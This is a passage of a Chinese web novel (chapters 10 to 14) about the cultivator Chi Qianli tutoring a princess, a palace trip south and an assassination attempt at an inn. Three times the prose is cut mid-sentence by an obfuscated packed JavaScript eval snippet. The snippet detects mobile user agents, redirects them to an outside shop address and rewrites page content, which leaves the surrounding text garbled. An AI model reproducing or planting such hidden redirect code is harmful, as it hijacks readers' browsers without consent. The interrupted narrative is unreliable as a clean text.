据金玉泠一路上对池千鲤介绍,她这三妹与她活脱脱一个德行,甚至更皮,逃课挨打乃是家常便饭,上树抓鸟,下水摸鱼,还爱带歪其他府中的小姐。每次去御花园玩一趟回来,头发都乱糟糟,鞋子也湿淋淋,一副“我鬼混回来啦”的样子,把她母后气得不轻。 不过二三两位公主倒是狼狈为奸,两人在做坏事这事儿上向来是一拍即合,据不想透露姓名的裴皇后评价,这俩不愧是亲姐妹。 眼见着先生都开始点名了,大名鼎鼎的魔童金玉满还没来。 “三公主。”先生叫道。 没人回答。 “三公主?” 仍旧没人回答,所有人都是一副习以为常的模样。 先生皱皱眉,最后一次点道:“三公主可在?” “到——!” 从教室外,大声嚷嚷着传来一个声音,随即砰地一声,大门被一下撞开,风风火火地闯进一个女孩,连滚带爬地摸到自己座位上,故作正经地再回答了一句:“到。” 姑娘们再也忍不住了,嗤嗤地低声笑了起来,不过这笑并无嘲讽,只是友善的呼应。先生也无奈地摇摇头,继续大声点着其她学生的名字了。 如果说金玉泠顽劣,她起码会把衣服首饰穿戴整齐,不过这位却不同。乍一看,闯进来这小姑娘跟野人似的,头发像个鸡窝,还嵌着点草叶,完全跟琼华殿的画风不搭。 如果不是野人,那只能是预备逃课却被母亲逮个正着了。 胆子大点的女孩们小心翼翼地往身后望去,然后一个激灵回过身来。池千鲤顺势望去,果真有一个华服妇人站在后窗,死死盯着金玉满的后背,像要把人盯出一个洞似的,想必便是金玉泠和金玉满的母亲裴皇后。 池千鲤笑笑,可怜天下父母心。 她转过脸,不再看裴皇后的身影,目光掠过正和金玉泠说小话的金玉满,也并未多看。 只是,不过几秒,她又不可置信地把目光移回金玉满脸上。 这张脸? 执明神君?! 11. 鬼装神巧笑戏公主(三) 池千鲤觉得怪事天天有,今天特别多。她来到这个时间点后所接收的信息已经过载了。或者说时空穿越这件事本身就已经很让她信息过载了。 她震惊地看着那张脏兮兮乱糟糟的小脸,不是那天在北郊碰到的执明神君还有谁? 要这么看起来,天和帝和执明神君的长相还真有些……莫名其妙的相似。 比如两人都是圆脸圆眼,身量也都不高。 他们修士,一般都靠身上的气息认人,眼下一个天和帝没了龙气,一个执明神君尚未飞升,要不是池千鲤记性好记得住脸,还真没让她认出来。 上午的课程很快就结束了,金玉泠出门时,鬼鬼祟祟地一直看后面。池千鲤无奈,轻轻拍了拍她,小姑娘知道看不见的朋友跟在自己后面,便心下安定,喜笑颜开地又跑去御花园玩了。 金玉泠三两下爬上树,顺手摘了个果子,看来已是这里的常客。金玉满被她母后叫去来仪宫训诫,裴婉仪则回府吃午饭。眼下就她们二人,池千鲤便现了身,随便找了个地方坐下,又被金玉泠问东问西,啧啧称赞她的隐身术。 “三公主有跟您说过,她今后想做什么吗?”好不容易安静下来,池千鲤仍是想着今天的事,决定旁敲侧击地问问金玉泠。 “三妹?”金玉泠啃了一大口野果,摇了摇头,“没说过。” 池千鲤微微叹气,旋即又不放弃地问:“那您呢?您以后想做什么?” 金玉泠笑了笑,没有回答,却反问了一句:“道长你觉得我以后适合做什么?” “重要的应该是您自己想做什么。”池千鲤摇头,“而不是适合做什么。” 金玉泠沉默了好一会儿,扔掉苹果核,若无其事地拍了拍手:“我不想做什么。” 不想做什么? 池千鲤刚要思考其意,金玉泠就从树上跳下来,淡淡地补上一句:“我想做什么都没有用,以后做什么又不是我自己说了算。” 池千鲤怔住了,她看着少年蹲在湖边采花的背影。 “咦?”不多时,金玉泠回过头来笑笑,仿佛刚才的一幕从没有发生过,“道长你怎么了?快来看看哪一朵好看!” “噢,”池千鲤回过神来,“这就来了。” 她好像知道,问题出在哪里了。 池千鲤同金玉泠玩了一阵,两人走着湖边的小石子路。后者说她要去一趟她母后宫里,于是池千鲤陪她悠悠地走回宫。 刚一进殿,就听见一阵熟悉的哇哇乱叫。 “哎哟母后!母后我错啦!我下次一定按时上学!您别打我啦!哎母后!你听我说话!母后!” 金玉满绕着来仪宫满殿乱跑,后面跟着和蔼可亲的裴皇后。 “阿满,你跑什么呀。来,母后跟你好好聊两句来,母后不打你。” 只不过手中的鞋底子似乎不这么认为。 金玉满三两下爬上了院中的树,眼尖地看到了走过来的池千鲤二人,驾轻就熟地祸水东引:“母后你看二姐来了!” 裴皇后不吃这一套:“你二姐最近都有认真上学。” “但我听说她上个月去参加比武招亲大会!” “……什么?” 金玉满得意且大声地告发道:“她上个月女扮男装去参加招亲大会!” 金玉泠感觉后背一凉。 三息后。 “母后!母后你听我解释啊!” 裴皇后一把抄起晾衣杆子:“跟本宫的衣架子解释去吧。” 金玉满顶着一头野人一样的发型,笑嘻嘻地从树上捞了个苹果,池千鲤总觉得这动作刚刚才从某些人身上看到过一次。 将近小半个时辰后,院中的鸡飞狗跳终于平息,池千鲤十分庆幸自己刚进门就施了隐身咒,否则甚是尴尬。 看着金玉泠一瘸一拐地朝树上的金玉满愤怒地比了个中指,裴皇后身边的奶嬷嬷犹豫片刻,进言道:“皇后娘娘,您做这事儿太不雅观,下次还是老奴替您。” 前者不以为然地甩了甩手:“打孩子要自己打才会舒服。” 奶嬷嬷:“……” 正手忙脚乱地收拾残局时,外面突然扯着嗓子来了一句尖利的通报:“贵妃娘娘到——” 裴皇后听到这声通报,条件反射似的向门口望去。 池千鲤也顺着她的目光看过去,想来这就是金清宸的母亲了。 来者是一个美艳无双的女子,打扮得花枝招展、美轮美奂,眉若远山、眸似瑞凤,鼻如玉葱、朱唇榴齿。她似乎很喜欢金玉首饰,故而插了满头珠钗,熠熠生辉,走过时自带清香,步步生莲。 好一个倾国倾城的美人,池千鲤暗叹。 上天入地,这是她见过最漂亮的人。 金清宸没自恋,他确实长得不错,生得玉树临风、眉目含笑,像了他母亲四成,却也已是天人之姿。 这女子目露挑剔地上下打量了一番来仪宫,啧啧嘴以示不满,十分敷衍地向裴皇后行了个礼:“给皇后娘娘请安。” 裴皇后跟刚才打小孩的凶狠模样相比完全变了个人,端庄和蔼地坐在主座上点头示意:“凌贵妃坐。” 凌贵妃点点头,在左手边的位置上坐好。 裴皇后:“……” 凌贵妃:“……” 顺了一张宣纸准备记录点情报的池千鲤:“……” 您二位倒是说点什么呀。 屋外传来金玉泠金玉满两姐妹的吵闹声,像是在争夺一把瓜子的归属。屋里两位位高权重的娘娘四目相对,似乎有些失神。 裴皇后试探性地先出声:“凌贵妃最近……可还好?” 凌贵妃回过神来,点头回应:“尚可。” 又是一阵沉默。 “……太子可好?” “……应该还好吧,他如今大了,也不大跟我说话。不似两位公主经常伴娘娘左右,娘娘好福气。” 裴皇后松了一口气,似乎总算找到了话题:“清宸为陛下所器重,贵妃才是好福气。” 两人就孩子的事情你一句我一句聊了片刻,凌贵妃便称身体不适告辞了,全程客客气气的,谈不上多亲密。 池千鲤挑挑眉,回想到金玉泠之前对她母后和贵妃“关系不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412409|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大好”的评价,觉得这孩子的看法似乎有失偏颇。 晚上。 池千鲤几个纵跃上了房顶,从袖袋里掏出几张纸,撑着脑袋盘腿思考。 纸上赫然是用大方清隽的字迹画的皇宫关系示意图,是池千鲤在今天之前随手画的。她拿起笔,把“金鳞”改成“金玉泠”,再涂掉“金清宸”和“金玉泠”之间表示交恶的符号,改成代表交好的一个爱心。随即她想了想,在二人上方写上“凌”和“裴”,中间打了个爱心,爱心旁边加了个问号。 做完这一切,池千鲤又尝试通灵了一下洛凌波。不过这次,看到红色感叹号后她没有气馁,而是对着宣纸又想了想,加上“金玉满”和“金玉沁”这两个人物,在金玉满旁边画了小乌龟和问号,在金玉泠旁边画了个皇冠和问号。 这就是目前为止得到的所有信息,和待解决的疑问了。 池千鲤习惯性地咬了咬笔头,她感觉一切并不是无迹可循。起码她知道,目前金玉泠毫无夺嫡的意愿,这可不是好事,不知道什么时候才能启发她。 让我帮,也不知道怎么帮,池千鲤烦躁地抓了抓脑袋,目前看来,只能时时跟在她身边,让她耳濡目染。 于是第二天上午,金玉泠面无表情地看着书桌上一沓古籍,转头看看站在后面的池千鲤。 “道长!”金玉泠哀嚎,“你这是什么意思!” “你不是要我飞升时候带着你吗。”池千鲤一板一眼道,“这些都是修仙之人必须读的书。” 金玉泠不可置信地拿起桌上一本最厚的书:“为什么修仙的人还要读《史论》?” 池千鲤:“……这你别管。” “《官场潜规则一百条》?《手把手教你如何排兵布阵》?《皇帝成长指南》?这都什么跟什么!修仙的还看这些?”金玉泠很震惊,“这些书都是哪里来的!” “反正呢,”池千鲤清清嗓子,心虚道,“从今天开始,你得学这个。” 金玉泠辩解:“我在琼华殿每天也上课……” 池千鲤摇头:“那教的是琴棋书画,我教的不一样。” “那我能不能不去琼华殿上课了?” “如果你想被皇后娘娘骂的话。” 从那以后,池千鲤就每天监督这位未来的皇帝从书中培养政治常识。 金玉泠有时会很纳闷,为什么池千鲤会那么清楚她有时候在摸鱼,并且及时出现。 不,都不能说是及时了,简直是闪现! 中午,当她偷偷想跑出去,去御花园玩一会儿,一转身,池千鲤就在背后面无表情地盯着她。 傍晚,当她爬到树上,想抓几个果子吃吃,一伸手,抓到了池千鲤的手。 晚上,当她心里想着要吃夜宵,一抬头,撞上了倒吊在房梁上的池千鲤。 金玉泠:“……” 呜呜呜呜。 大哥!我总算知道为什么你说池千鲤可怕了! 比琼华殿的先生还严格!简直像是会读心! 此刻,开着灵视眼泡在藏书阁里寻找合适的书的池千鲤连打了几个喷嚏。 12. 金枝叶载笑江南游 池千鲤望了望外面的天气,关上窗户,顺手拿桌上的汤婆子塞到金玉泠手里。 时间过得真快,转眼间已经入冬了,今儿一早,窗外就下起大雪来,池千鲤也已在明齐三十三年待了半年有余。 大雪天,金玉泠也难得没有吵吵着要出去玩,一个人缩在厚被褥里,哆哆嗦嗦地拿着本《姜氏兵法》在看,故而在池千鲤把汤婆子塞给她时,舒服地眯了眯眼睛。 池千鲤飘到桌前,选了小公主喜欢的檀香点上:“昨日让你看的书,都看完了?” 金玉泠从被窝里探出半个脑袋:“看完了。” 池千鲤点点头,抽查道:“虞朝三大酷刑,是哪位皇帝于何年废除的?” 金玉泠笑嘻嘻地回:“虞庆帝于玄鸦十七年废除。” “温朝开国皇帝少时所从何业?” “乞丐!” “昭国自开国到倾覆所用几年?” “一百五十八!” “史上第一位女将军是谁?” “萧朝护国将军,未留姓名。” “不错,”池千鲤微微一笑,“最后一个问题,萧朝覆灭,根因在何?” 金玉泠不假思索:“萧灵帝后妃叶氏,任性妄为,红颜祸水,霍乱朝纲。” “错了,”然而这次,池千鲤却摇了摇头,“再想想。” “咦?”金玉泠愣了愣,裹着被子艰难地够到桌上的《轩辕纪》,在萧朝的部分翻找片刻,疑惑地抬头,“没有错啊,书上就是这么写的。” 池千鲤笑了,她面颊上的那道疤也跟着温和地流动了一下:“是的,书上是这么写的。” 这两个季节以来,金玉泠被迫加课,时有怨言,亦有玩心。但池千鲤看到,深夜她安静下来的时候,没有吵闹,没有埋怨,在烛光明明灭灭的映照下,捧着一本书,在磕磕巴巴地读,眼神里有些说不清的东西。 池千鲤站在几步之遥的地方,手里捧着一沓第二天的教材,寒风把她的发带和衣袂吹得翻飞。 她曾见过这样的眼神。那是很久很久以前,她身披软甲,整装待发,对着铜镜里的自己,立志要拿下今年仙门大赛的魁首。 意气风发的少年很想要赢的时候,就是这样面无表情,却眼里带光。 池千鲤跪坐在榻前,点了点那行字:“但书上是不对的。我们今天要学的就是,历史不由旁观者书写,只由胜利者书写。” “它不一定对,但它一定有利于书写者。” “当胜利者不想承认自己的谬误时,”池千鲤安静地抬起头,目光却不落在金玉泠身上,仿佛透过她在看一些很久远的东西,“他们就会把错误推卸到比自己弱小的人身上。” 金玉泠把自己缩成一小团,呆呆地看着池千鲤。不多时,她回过神来,开口发问:“那如何辨别真假?” “用心。”池千鲤点点她的心口,“用心去体会,体会文字之下的感情,是悲怆还是自负,我相信你自有分辨。” 金玉泠疑惑地眨眨眼睛,这些东西对于一个十二三岁的孩子来说,还是太艰深晦涩了,她听不太懂。 不过金玉泠很豁达,她小小年纪,竟然能琢磨出“现在不懂以后会懂的”这种话来安慰自己,没一会儿就把这个疑问抛到脑后去了。 “对了,”眼下,这人又开始嬉皮笑脸,“道长,我们这个月要停课哦。” “停课?”池千鲤挑眉,有些惊讶,“为何?” 金玉泠喜上眉梢:“父皇说啦,这个月他要下江南去巡游,我们兄弟姐妹还有母后都去!” 池千鲤看着小家伙蹦蹦跳跳的样子,忍俊不禁,不过很快收回笑容板着脸:“何时出发?” “就今天晌午!”金玉泠得意地抬出已经收拾好的大箱子。 “噢,”池千鲤点点头,打开箱子,把预备今天要用的教材塞进去,又从书柜里翻出明后天的书目,“我一起去。” 金玉泠:“……” 呜呜呜呜呜。 晌午。 六辆马车并排停在宫门口,马车较为低调,并未粉饰太多,想来这次巡游要掩人耳目,不能太过张扬。 池千鲤身着小宫女的服饰,走在金玉泠半步之后。看到这低调的排面,倒是对这次出巡的目的明白许多。 江南涝灾,向来是从古至今朝野上下的一块心病。虽然池千鲤如今居于深宫,然而风言风语还是能听到一些的。今年夏天的水患比往年都严重,是近百年来最严重的一次,三所大型堤坝被冲毁,地势低些的地区连着两月水漫房屋,尸横遍野,民不聊生。虽是拨了款下去赈灾,但因着这场水患,秋天收成也不好,而今年冬天雪又下得早,怕是百姓们捱不住。 果不其然,池千鲤隐晦地抬起眼皮一瞧,在离宫门远一些的地方,还有几辆马车等候,应该是跟随出巡的官员。 金玉泠没有管那么多,兴冲冲地跑上前去找金玉满和金清宸玩了。池千鲤答应这小朋友一路上可以减轻点课业,故而她来的路上一直很高兴。 池千鲤刚想跟着上车,突然皱皱眉。 一道视线偷偷窥视着他们,它的主人在东边墙后的方向。 她敏锐地回头。 看到那个人的瞬间,池千鲤有些意外。 金玉沁躲在墙后,悄悄地看着他们。看见池千鲤猛地回头,显然很手足无措,慌乱得手脚都不知道往哪里放,最后甚至尴尬地向池千鲤点了点头。 池千鲤微愣,她思考一下,向金玉沁回了个礼。 这小孩显然没什么人管过她,或许也没什么人很尊敬她。她看到池千鲤的动作后竟然停住了,像是很惊讶的样子。扭捏了好一阵子,最后捂着红得像个柿子的脸,小猫似的跑掉了。 一枚小绒花掉在地上,是蝴蝶样式的。 小姑娘像是没注意到,池千鲤上前去,将它捡起来,抬头想叫,金玉沁却早没影了。 不过池千鲤来不及追她了,因为紧接着,一道尖利而悠长的嗓音扯了起来—— “皇上驾到——” 这是池千鲤第一次看到明齐帝。 这几个月她很忙,非常忙。从早泡在藏书阁里,中午和傍晚去给金玉泠答疑,深夜小姑娘睡了,她还要整理第二天的书目。 日子过得三点一线,导致她根本没有时间去接触这位皇宫里的核心人物。但是听说他过个两三天会去琼华殿听听公主们的课,关心一下学习状况,这就不得而知了,池千鲤跟他的时间表完全错开。 她没有随着众人跪拜下去,除了父母天地,池千鲤不会跪任何人。她施了个隐身咒,静静地看着那个中年男人一步一步走过来。 即使以池千鲤并不挑剔的眼光来看,这个男人也长得十分平平无奇,甚至有个挺丑的大肚腩,五官也没有任何可圈可点之处—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412410|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池千鲤这么不客气地点评,不过,或许是因为身居高位久了,眉眼间确实有一股威仪之气。 “父皇父皇。”明齐帝刚一挥手示意众人起来,金玉泠就蹦蹦跳跳地跑到他身边,兴奋地张开双臂,扑了她父皇一个满怀。 “哎哟,”明齐帝把二女儿抱起来,额间古板严肃的皱纹都活络了一些,“朕的玉泠又重了一点呀。” 金玉满本来嬉皮笑脸地站着,突然像是想起什么了似的,脸色大变,左看看,右看看,趁没人注意当场就跑。 “你给我回来!”明齐帝眼尖地看见金玉满没出息的样子,气得胡子一抖,“逆子!为什么这次小测又拿了丁级!” “这次小测拿了丁级?”裴皇后眼睛一挑,望向金玉满,“为什么你拿给我的卷纸上是乙级?” 金玉满:“……” 哈哈。 金玉满撒腿就跑,却被裴皇后一下逮住,像只兔子似的两只脚动来动去,嘴里还嗷嗷嗷叫着。 “父皇母后!”她见势不对,立刻认错,“我错了!儿臣错了!儿臣下次再也不敢了!” 明齐帝和裴皇后显然也没打算当着一堆外人的面真给金玉满难堪,一个教训了几句,一个象征性地拍了两下,就把这只可怜的兔子放下了。 兔子公主如逢大赦,简直是一路狂奔地钻进了左相的车里。 金玉泠窃笑:“嘿嘿。” 金玉满扔了块石头砸在金玉泠头上。 随后明齐帝又走到金清宸和他母妃那边,问了问他最近的学业。太子专门配有太师和太傅,每日都会上书向明齐汇报,倒是不用太担心。不过明齐帝依然在他那边停留了很长的时间,训诫了好一会儿。 当明齐帝走向金清宸的时候,池千鲤发现他身上的金光有些暗了,而金清宸身上的金光越发亮眼。 好一个新旧交替,双日生辉之兆,然而池千鲤像是被鱼刺卡了喉咙似的,这场面梗在她心里不上不下,硌嘴得很。 到底为什么呢? 天下之主的人选为什么有了偏差? “四妹呢?”金玉泠等得不耐烦了,探头探脑,东张西望,“四妹怎么还没有来?马上都要走了。” 明齐帝愣了好一会儿,似乎在思考金玉泠口中的四妹是谁。 “噢,老四。”明齐帝像是恍然大悟一般,旋即不太走心地敷衍道,“老四就不去了吧,她这次小测不是考得不好吗?留在宫里学习学习吧。” 池千鲤余光看到角落有个身影闪了闪。 “啊?”金玉泠一愣,“可是……” “好啦,”明齐帝打断二女儿的话,“快走吧,天黑之前来不及到客栈了。” 金玉泠压下心底的疑惑,上了其中一辆车。 可是老四明明考了满分啊? 金玉沁目送着车队行远了。 她抿抿嘴,猫着腰尽量不引人注意地找自己掉了的绒花。 绒花不昂贵,但她很珍惜,因为那是母亲唯一的遗物了。 有一阵风吹来,金玉沁感觉有一只手轻轻地拍了拍自己。 她吓了一跳,连忙回头。 没有人。 可是她怔住了。 在她刚刚站着的地方,有两只蝴蝶绒花,一只有些陈旧,是她掉的那一只,一只焕然一新,是京里最时新的样式。 以及一整罐翩翩欲飞的蝴蝶。 13. 金枝叶载笑江南游(二) 池千鲤去给金老四送绒花的时候,金玉泠知道她施了隐身咒,叫了两声,没有回应。 她眼珠一转,立刻往前面的车“噗呲噗呲”地叫了两声。 过了片刻,池千鲤再回来的时候,就听到—— “哈哈!”车里传来震耳欲聋的叫声,“炸!我赢了!” 车身都震了两下,坐在车顶的池千鲤差点被甩下来。 “什么!”这是金老三大声嚷嚷的声音,“我刚刚还没出呢!不算不算!” “不行!”金老二急眼了,一把护住桌上的牌,“牌不是这么打的!你不要作弊!” “好啦好啦,”金老大好脾气道,“我们再开一局。” “这次我可不会让着你了二姐!” “哼!搞得你就能赢一样!” 池千鲤悄悄地爬走,试图眼不见为净,不听这三人闹腾。 金玉泠眼睛一抬,看着微微动了一下的车顶,眯了眯眼,鬼点子由心而生,不由得抬高声音道:“鱼鱼——!” 得。 池千鲤无语地解了隐身咒,掀帘走进车厢:“殿下何事?” “嘿嘿,”金玉泠邪笑,“来陪我们三个打牌呗。” “……属下得在外面保障殿下的安全。” “是啊老二,”金清宸也同意,“鱼鱼有差事呢,我们三个人也能打牌。” 金玉泠给池千鲤按的人设是保护她会武功的宫女,所以池千鲤时隐时现的,跟金玉泠熟识的兄妹都默认是在暗中观察四周。金清宸当时听这么一解释,觉得误会了池千鲤甚是愧疚,拉着她给道了好两句歉,还夸她一看脸上的疤就勇武非凡,乃巾帼豪杰。 池千鲤对此评价不置可否,她只觉得金光要闪瞎眼睛了,想赶快离金清宸远远的。 金玉满则觉得池千鲤会武功甚是稀奇,极其威风,有一阵子一见到池千鲤来接金玉泠就缠着她要学武功。 由于池千鲤有更重要且紧急的事情去做,真的很忙,没有什么时间教她,便只是简单点了她一些锻炼身体的方法。不过有人想要跟她学武,池千鲤还是非常乐意且感慨的,在给金玉泠找书的时候顺便摸了几本武林入门学给金玉满。 所以其余两人跟池千鲤还挺熟识的,但是都跟金玉泠学坏了,叫她鱼鱼。 金玉满不满道:“这一路上侍卫这么多,能有什么危险?鱼鱼你也来呗,四妹不在,我们三缺一。” 池千鲤顽强争辩:“三位打的是积分赛,属下一来,你们又要重新记分,还是不……” “没事儿!”金玉泠从刚才开始就在东摸摸西摸摸,现在从车底翻出一副麻将,喜出望外,“我们四个打这个!” 其余两人皆欢呼起来。 池千鲤:“……” 该怎么告诉你们,千岁老人不会打麻将。 不用告诉,打了一会儿,三位金枝玉叶都嫌弃起池千鲤的技术来。 金玉满真诚地看着池千鲤:“你好菜啊,鱼鱼。” 金玉泠偷笑:“居然还有鱼鱼不擅长的事,嘿嘿嘿嘿嘿……” 金清宸出于自恃有教养,没有埋汰池千鲤,不过表情也十分一言难尽。 池千鲤恼羞成怒。 在地府打对子牌天天输给老范就算了,居然还要被这几个小孩羞辱!简直欺人太甚! 于是池千鲤发奋图强,重整旗鼓,打算一雪前耻。 到驿站后。 “哎呀,”金玉满下车,伸了个懒腰满意道,“今天赢得可是够了。” “就是,”金玉泠帮腔,“没想到你那么菜,还能有赢的时候。” 金玉满却难得没生气,笑嘻嘻地锤了一下金玉泠,然后转头看向池千鲤:“鱼鱼!明天再打啊!” 金清宸同情地看了一眼池千鲤,转身下车了。 池千鲤发誓再也不跟这帮小破孩打麻将。 进了客栈安顿下来,金玉泠就体会到何为报应了。 “读吧。”池千鲤无情地把一堆书砸在金玉泠面前,“今晚读完,明早抽查。” 金玉泠:“……” 她试图挣扎:“今天都这么晚了……” 池千鲤一记眼刀飞过去,金玉泠立马闭嘴。 呜呜呜呜呜。 鱼,报复心好重。 池千鲤也不可能真跟一个小孩较劲,而且晚睡对身体不好,读了半本书,还是赶金玉泠去睡觉了,把这小孩感动得就差抱住池千鲤亲一口了。 不过金玉泠得寸进尺,哼哼唧唧地说要去隔壁找她三妹打两副牌。 池千鲤声明再打一副就再看一本,金玉泠哭唧唧地上床睡觉去了。 看着小姑娘充满怨恨的眼神,池千鲤没忍住嘴角扬了扬。 然而很快,刚泛起的弧度就消失了。 她猛地回头。 “怎么了?”金玉泠看到池千鲤露出这副表情,心里一个咯噔,连忙起身跟着往窗边走去。 窗外只有夜风吹得树影摇曳,映在窗户上时隐时现。除此之外,并无任何异常的响动。 然而金玉泠相信,池千鲤如此绝对不是空穴来风。 突然,嗖地一声轻响,轻到几乎可以忽略不计,紧随而来的是大力的破窗声: “砰——” 一道白光闪过,池千鲤一掌把来人击飞,用了内力呼喝:“有刺客!护驾!” 守卫在外的护卫不出两息便破门而入,团团将金玉泠围在中间。与此同时,池千鲤飞身而出,紧随着黑影而去。 夺窗而出的瞬间,池千鲤圆圆的瞳孔一缩,变为一双蓄势待发的蛇瞳——这是开启灵视眼的特征。那一刻,她用肉眼捕捉不到的速度环视客栈内外一圈,确定了来人的数量。 一共四个,三女一男,两内两外。 她飞身转了个角度,以不可思议的角度奔跑在檐壁上,一脚踢开某一个房间,没有管金清宸的惊呼声,推开房门两个飞踹把客栈内的两个刺客踢至窗外,自己也随之飞跃而去。 她几个横跳跳到房顶,居高临下地确定四个刺客的位置。 他们并没有逃逸的意思,除了那个男刺客受了伤倒在地上,其余三个安顿好同伴后,仍坚持地往客栈这边飞奔而来,一人使双刀,一人用长枪,还有一个带长绫。 池千鲤眯了眯眼,在灵视眼的作用下,三人的动作像是放慢了好几倍。 她思考了一下,两手反转,暂时封住了自己的仙力,免得把这些凡人打死。随后赤手空拳地率先冲向使双刀的那个人——那是冲进金玉泠房间里的那个刺客,同时,也是用手势向另外两人发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412411|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号施令、并且冲在最前面的领头羊。 “嗵嗵——” 那人甚至还没反应过来,池千鲤挥拳,只是用蛮力在她面门上使劲击了两下,她砰地一声就昏厥过去。 胜负已分。 池千鲤面无表情地看向其余站着的两人。 首领倒了,那两人愣了一下,显是没想到这行人随行人马中竟有如此武力超群之徒。 “快滚,”池千鲤的蛇瞳在黑暗中闪烁,她冷冷道,“我不杀你们,要是再来,可就没有这般客气了。” 那两人咬了咬牙,一人扶起靠在树边的同伴,一个背起昏厥过去的领袖,跌跌撞撞不怎么熟练地走了。 池千鲤收敛起战斗架势。 并不是她想保护皇宫中的那群人,而是不能打破时空闭环。金玉泠和金清宸不能死,明齐帝也不应该死在这个时候。 她对那群人既无太多感情,也就没有必要杀这些刺客,打发走了便是。 池千鲤没有立刻关闭灵视眼,而是确认那四人已经走远,没有返回的迹象后,才收回法术,返回客栈。 推开房门。 十四目相对。 池千鲤愣了愣,所有的人,明齐帝、裴皇后、凌贵妃、金清宸、金玉满、以及金玉泠本人,居然都聚集在了这位二公主的房间。 她还没来得及作出反应,金玉泠哇地一声就哭出来了,边哭边扑到她怀里大喊: “鱼鱼!我还以为你死了!呜呜呜呜呜!” 池千鲤目露疑惑。 我? 死了? 她皱眉,金玉泠不是应该知道她修习仙法?还是说,小姑娘以为那些人和她一样是修士? 她刚要低头安慰金玉泠,说这些人不过是些江湖小门小派的人士,并无仙力,却见怀中那小女孩冲她挤挤眼睛。 池千鲤一瞧房间中这些人,心电流转,明白过来。 原来如此。 这是不想让家长们知道她的宫女有功夫在身,在演戏给长辈们看呢。 金玉满更机灵一些,眼珠一转,当即明白了她二姐的意思,于是也当场大哭起来:“鱼鱼你手无寸铁,却为了保护二姐,跟那些穷极凶恶之徒打架,真乃忠心耿耿啊!” 说着还偏过头去吐了口唾沫吐在眼睛下面。 金清宸也明白过来了,不过他更优雅些,以袖遮面作垂泪状。 于是,即使池千鲤本人木着脸,一滴眼泪也挤不出来,三个大人的脸色还是由惊疑到缓和,再到感慨不已。 裴皇后一开始的惊吓逐渐淡去,随即而来的就是女儿差点被刺杀的恐慌,她三两步上前,握住池千鲤的手,嘴里只是不住地说着:“好孩子,好孩子……” 说着说着,竟一阵后怕,一个乏力,瘫坐在地上,呜呜地哭起来。 凌贵妃装作不经意地上前,轻轻地拍着裴皇后以示安抚。 明齐帝赞许地看了一眼池千鲤:“这丫头机灵聪慧,护主有功,朕回去自当好好赏你,你叫什么?鱼鱼?” 三个孩子边哽咽边齐声回答:“对!” 从此以后,池千鲤痛失本名。 此刻池千鲤看着一把鼻涕一把泪,并且把这两者都抹到她裙摆上的三个孩子,尽量保持微笑不把熊孩子都轰走。 14. 金枝叶载笑江南游(三) 因着出了客栈那一桩事,三个本来闹腾的小家伙一路上变得鹌鹑一样安静,一直到江南,都一个个缩在自己马车里不再敢出来,倒是给了池千鲤很长一段清净日子过。 就这样一路平安地到了江南。 最爱热闹的金玉满一看满街繁华,还是没忍住,蹦蹦跳跳地拉上左相府的大小姐来叫金玉泠一起去玩了,并且再三强调要让池千鲤跟着。 然后就听到施了隐身咒的池千鲤不知从哪儿传来一声轻哼。 两人知道这是同意了,又去叫了齐国公府的姑娘和金清宸。金清宸说明齐帝今天让他一起跟着听江南官员们汇报,婉拒了。 几人也没在意,高高兴兴地一起出去玩了。 金陵城内十分热闹,街上行人熙熙攘攘,两边小贩的叫卖声络绎不绝,倒是让池千鲤回忆起每年七月半的鬼节来。江南多点心酥饼,不过如今入了冬,馄饨汤圆之类也多了起来,故而虽是下了雪,街上仍然冒着热腾腾的白气,把整条小巷烘得暖融融的。 “好了!”金玉满高兴地回头冲四人喊,“我们先吃什么?梅花糕?豌豆黄?梨子酥?我看还是先吃碗豆沙元宵吧,热腾腾的舒服!” 边上正好就是一家元宵店,老板听闻忙接话道:“可不是,姑娘可要来我们家吃?我们蒋家汤圆店都在这条街上开了几十年,是老字号了!” 金玉满一下就乐了:“是吗?多谢老板!那来五碗豆沙的!” 小姑娘们叽叽喳喳地挤进店里了,池千鲤也跟了进去,犹豫片刻,还是没有表示自己不需要吃东西,扫这些孩子们的兴。 偶尔吃点人间的东西也不错,她这么想。 在后厨帮工的应该是老板的丈夫,动作很快,没一会儿就把五碗汤圆送上来了。小女孩们在这里又没有大人管,便管不得什么礼仪,吭哧吭哧吃得不亦乐乎。 池千鲤也轻轻咬了一口,确实很不错,甜腻腻的,跟她印象里很久以前母亲上元节时做的汤圆很像。 老板是个看上去很和善的大娘,时不时会往池千鲤她们这桌瞧一眼。池千鲤正有些奇怪,老板就走了过来。 